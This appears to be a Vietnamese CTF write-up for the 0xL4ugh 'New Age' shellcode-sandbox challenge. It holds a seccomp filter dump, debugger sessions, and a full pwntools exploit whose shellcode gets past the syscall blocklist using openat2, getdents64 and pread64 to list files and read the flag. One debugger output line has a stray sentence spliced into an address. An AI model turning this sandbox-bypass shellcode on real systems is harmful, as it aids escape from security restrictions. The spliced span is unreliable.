0xL4ugh CTF V5
New Age
January 25, 2026
•
January 24, 2026
•
Easy

Recon
Mitigation
$ pwn checksec new_age
[*] '/home/hungnt/ctfs/0xl4ugh/new_age/new_age'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabledhungnt@hungnt-ubuntu:~/ctfs/0xl4ugh/new_age$ seccomp-tools dump ./new_age
Welcome to the 'New Age' Sandbox
Here is the key
Send shellcode (max 4096 bytes):
A
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x1c 0xc000003e if (A != ARCH_X86_64) goto 0030
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x19 0xffffffff if (A != 0xffffffff) goto 0030
0005: 0x15 0x18 0x00 0x00000002 if (A == open) goto 0030
0006: 0x15 0x17 0x00 0x00000028 if (A == sendfile) goto 0030
0007: 0x15 0x16 0x00 0x00000029 if (A == socket) goto 0030
0008: 0x15 0x15 0x00 0x0000002a if (A == connect) goto 0030
0009: 0x15 0x14 0x00 0x00000038 if (A == clone) goto 0030
0010: 0x15 0x13 0x00 0x00000039 if (A == fork) goto 0030
0011: 0x15 0x12 0x00 0x0000003a if (A == vfork) goto 0030
0012: 0x15 0x11 0x00 0x0000003b if (A == execve) goto 0030
0013: 0x15 0x10 0x00 0x000000a1 if (A == chroot) goto 0030
0014: 0x15 0x0f 0x00 0x00000101 if (A == openat) goto 0030
0015: 0x15 0x0e 0x00 0x00000142 if (A == execveat) goto 0030
0016: 0x15 0x0d 0x00 0x000001b3 if (A == 0x1b3) goto 0030
0017: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0023
0018: 0x20 0x00 0x00 0x0000001c A = buf >> 32 # read(fd, buf, count)
0019: 0x25 0x09 0x00 0x0000790e if (A > 0x790e) goto 0029
0020: 0x15 0x00 0x09 0x0000790e if (A != 0x790e) goto 0030
0021: 0x20 0x00 0x00 0x00000018 A = buf # read(fd, buf, count)
0022: 0x35 0x06 0x07 0x5227bc00 if (A >= 0x5227bc00) goto 0029 else goto 0030
0023: 0x15 0x00 0x05 0x00000001 if (A != write) goto 0029
0024: 0x20 0x00 0x00 0x0000001c A = buf >> 32 # write(fd, buf, count)
0025: 0x25 0x04 0x00 0x0000790e if (A > 0x790e) goto 0030
0026: 0x15 0x00 0x02 0x0000790e if (A != 0x790e) goto 0029
0027: 0x20 0x00 0x00 0x00000018 A = buf # write(fd, buf, count)
0028: 0x25 0x01 0x00 0x5227b400 if (A > 0x5227b400) goto 0030
0029: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0030: 0x06 0x00 0x00 0x00000000 return KILLCode
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(_bss_start, 0LL);
alarm(0x3Cu);
prctl(38, 1LL, 0LL, 0LL, 0LL);
puts("Welcome to the 'New Age' Sandbox\n");
puts("Here is the key\n");
puts("Send shellcode (max 4096 bytes): ");
code_region = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
read(0, code_region, 0x1000uLL);
setup();
((void (*)(void))code_region)();
return 0;
}Solve
Vì trong seccomp BPF được dump ở trên có chứa địa chỉ gì đó, mình chưa biết nó là ở đâu vì ASLR đang được bật.
Vậy mình sẽ check lại trong pwndbg:
pwndbg> catch syscall seccomp
pwndbg> catch syscall prctlContinue vài lần cho đến khi RDX như vậy:
pwndbg> regs
*RAX 0xffffffffffffffda
RBX 0x5555555592a0 ◂— 0x7fff0000a1b2c3d4
*RCX 0x7ffff7d2728d (syscall+29) ◂— cmp rax, -0xfff
*RDX 0x55555555b040 ◂— 0x1f
*RDI 1
*RSI 0
*R8 1
*R9 0x5555555592a0 ◂— 0x7fff0000a1b2c3d4
*R10 1
R11 0x246
R12 0
R13 0
R14 0x55555555b040 ◂— 0x1f
*R15 0x7ffff7ffd001 (_rtld_global+1) ◂— 0x500007ffff7ffe2
*RBP 0x7fffffffda90 —▸ 0x7fffffffdaf0 —▸ 0x7fffffffdb00 —▸ 0x7fffffffdba0 —▸ 0x7fffffffdc00 ◂— ...
*RSP 0x7fffffffda38 —▸ 0x7ffff7f9405a (seccomp_load+282) ◂— mov r12d, eax
*RIP 0x7ffff7d2728d (syscall+29) ◂— cmp rax, -0xfffparse-seccomp được output như sau:
pwndbg> parse-seccomp 0x55555555b040
sock_fprog @ 0x55555555b040
len = 31
filter_addr = 0x55555555e5a0
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x1c 0xc000003e if (A != ARCH_X86_64) goto 0030
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x19 0xffffffff if (A != 0xffffffff) goto 0030
0005: 0x15 0x18 0x00 0x00000002 if (A == open) goto 0030
0006: 0x15 0x17 0x00 0x00000028 if (A == sendfile) goto 0030
0007: 0x15 0x16 0x00 0x00000029 if (A == socket) goto 0030
0008: 0x15 0x15 0x00 0x0000002a if (A == connect) goto 0030
0009: 0x15 0x14 0x00 0x00000038 if (A == clone) goto 0030
0010: 0x15 0x13 0x00 0x00000039 if (A == fork) goto 0030
0011: 0x15 0x12 0x00 0x0000003a if (A == vfork) goto 0030
0012: 0x15 0x11 0x00 0x0000003b if (A == execve) goto 0030
0013: 0x15 0x10 0x00 0x000000a1 if (A == chroot) goto 0030
0014: 0x15 0x0f 0x00 0x00000101 if (A == openat) goto 0030
0015: 0x15 0x0e 0x00 0x00000142 if (A == execveat) goto 0030
0016: 0x15 0x0d 0x00 0x000001b3 if (A == 0x1b3) goto 0030
0017: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0023
0018: 0x20 0x00 0x00 0x0000001c A = buf >> 32 # read(fd, buf, count)
0019: 0x25 0x09 0x00 0x00007fff if (A > 0x7fff) goto 0029
0020: 0x15 0x00 0x09 0x00007fff if (A != 0x7fff) goto 0030
0021: 0x20 0x00 0x00 0x00000018 A = buf # read(fd, buf, count)
0022: 0x35 0x06 0x07 0xf7fbcc00 if (A >= 0xf7fbcc00) goto 0029 else goto 0030
0023: 0x15 0x00 0x05 0x00000001 if (A != write) goto 0029
0024: 0x20 0x00 0x00 0x0000001c A = buf >> 32 # write(fd, buf, count)
0025: 0x25 0x04 0x00 0x00007fff if (A > 0x7fff) goto 0030
0026: 0x15 0x00 0x02 0x00007fff if (A != 0x7fff) goto 0029
0027: 0x20 0x00 0x00 0x00000018 A = buf # write(fd, buf, count)
0028: 0x25 0x01 0x00 0xf7fbc400 if (A > 0xf7fbc400) goto 0030
0029: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0030: 0x06 0x00 0x00 0x00000000 return KILLVậy mình chỉ có thể read() từ offset 0xc00 trở lên và write() từ offset 0x400 trở xuống, không nhất thiết phải ở trong vùng được mmap.
pwndbg> vmmap 0x7ffff7fbcc00
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x7ffff7fa5000 0x7ffff7fa6000 rw-p 1000 1e000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
► 0x7ffff7fbc000 0x7ffff7fbd000 rwxp 1000 0 [anon_7ffff7fbc] +0xc00
0x7ffff7fbd000 0x7ffff7fbf000 rw-p 2000 0 [anon_7ffff7fbd]
pwndbg> vmmap 0x7ffff7fbc400
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x7ffff7fa5000 0x7ffff7fa60Ai mà ngờ được tên file của flag trên remote là `flag_name_Should_Be_R@ndom_ahahahahahahahahah.txt`. Nếu vậy thì chỉ cần openat2()00 rw-p 1000 1e000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
► 0x7ffff7fbc000 0x7ffff7fbd000 rwxp 1000 0 [anon_7ffff7fbc] +0x400
0x7ffff7fbd000 0x7ffff7fbf000 rw-p 2000 0 [anon_7ffff7fbd]Ai mà ngờ được tên file của flag trên remote là flag_name_Should_Be_R@ndom_ahahahahahahahahah.txt luôn?
Thôi thì mình làm với tâm thế không biết tên file, vậy thì làm 2 thứ:
- Liệt kê file trong thư mục hiện tại:
- openat2() để mở thư mục hiện tại.
- getdents64() để liệt kê tên file và ghi vào vùng ghi được của libc (read() được vì ở địa chỉ thấp hơn so với vùng được mmap).
- write() để in ra tên file.
- read() để đọc shellcode chạy bước 2, rồi jump đến đó.
- Đọc flag:
- openat2() để mở file flag.
- pread64() để đọc nội dung file vào vùng ghi được của libc.
- write() để đọc flag.
- exit().
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("new_age_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *main+209
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "159.89.106.147"
port = 1337
return remote(host, port)
p = conn()
print("Listing directory...")
shellcode = asm('''
jmp start
path:
.string "."
open_how:
.quad 0x10000
.quad 0
.quad 0
start:
mov r9, rdx
mov rax, 437
mov rdi, -100
lea rsi, [rip + path]
lea rdx, [rip + open_how]
mov r10, 24
syscall
mov r8, rax
mov rax, [rsp + 0x10]
mov rdi, r8
mov rsi, rax
add rsi, 0x1bd358
mov rdx, 1024
mov rax, 217
syscall
mov rdx, rax
mov rax, 1
mov rdi, 1
syscall
mov r8, rsi
add r9, 0xc00
mov rdi, 0
mov rsi, r9
mov rdx, 0x400
xor rax, rax
syscall
mov rdx, rsi
xor rax, rax
call rdx
''')
sla(p, b'Send shellcode (max 4096 bytes): \n', shellcode)
def parse_getdents64(data):
entries = []
offset = 0
while offset < len(data) - 19:
d_ino = u64(data[offset:offset+8])
if d_ino == 0:
break
d_reclen = u16(data[offset+16:offset+18])
if d_reclen == 0:
break
name_end = data.find(b'\x00', offset+19)
if name_end > offset+19:
name = data[offset+19:name_end].decode('utf-8', errors='ignore')
entries.append(name)
offset += d_reclen
return entries
filename = parse_getdents64(rr(p, 2))[2] # 2 on remote
print("filename:", filename)
sleep(1)
print("Reading flag...")
shc = asm(f'''
jmp start
path:
.string "./{filename}"
open_how:
.quad 0
.quad 0
.quad 0
start:
mov rax, 437
mov rdi, -100
lea rsi, [rip + path]
lea rdx, [rip + open_how]
mov r10, 24
syscall
mov rdi, rax
mov rsi, r8
mov rdx, 0x400
xor r10, r10
mov rax, 17
syscall
mov rdx, rax
mov rdi, 1
mov rsi, r8
mov rax, 1
syscall
mov rax, 60
xor rdi, rdi
syscall
''')
sl(p, shc)
print("Flag:", ra(p, 2).strip().decode())$ py solve.py
[!] Did not find any GOT entries
[+] Opening connection to 159.89.106.147 on port 1337: Done
Listing directory...
filename: flag_name_Should_Be_R@ndom_ahahahahahahahahah.txt
Reading flag...
[+] Receiving all data: Done (73B)
[*] Closed connection to 159.89.106.147 port 1337
Flag: 0xL4ugh{D0n'tF000rgoot_k33p_up_Ieesss_withhhh_n3w_5y5c4llsssss5s5s5ssss}